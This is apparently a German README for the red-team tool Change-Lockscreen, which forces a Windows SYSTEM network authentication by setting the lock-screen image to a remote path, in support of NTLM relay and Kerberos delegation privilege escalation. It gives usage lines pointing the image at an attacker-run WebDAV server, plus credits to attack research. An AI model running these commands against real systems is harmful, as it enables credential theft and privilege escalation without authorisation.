Change-Lockscreen

Change-Lockscreen ist ein Tool, um als SYSTEM Netzwerk-Authentifizierungen auszulösen, indem das Windows-Sperrbildschirm-Bild von der Kommandozeile aus geändert wird. Damit lassen sich Privilege-Escalation-Angriffe wie der im unten verlinkten Beitrag beschriebene durchführen:

• https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation

Funktionen

Standardmäßig verfügt Windows 10 über eine Funktion namens Windows Spotlight. Sie lädt Sperrbildschirm-Bilder automatisch herunter und zeigt sie an.

• Wenn diese Funktion aktiviert ist, deaktiviert Change-Lockscreen sie und legt das in den Argumenten angegebene Bild fest
• Wenn der Benutzer dagegen ein benutzerdefiniertes Sperrbildschirm-Bild verwendet, übernimmt Change-Lockscreen die Sicherung dieses Bildes, löst die Netzwerk-Authentifizierung aus und stellt das Bild anschließend wieder her

Hinweis: Während die PowerShell-Version des Tools zuverlässig funktioniert, schlägt die C#-Version manchmal fehl, wenn es darum geht, das Originalbild wiederherzustellen.

Verwendung

Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg]
Change-Lockscreen -Webdav \\[imageserver]@[port]\ 

Autoren

• Simone Salucci
• Daniel López Jiménez

Danksagungen

• https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
• https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
• https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
• https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
• http://www.harmj0y.net/blog/activedirectory/a-case-study-in-wagging-the-dog-computer-takeover/
• https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/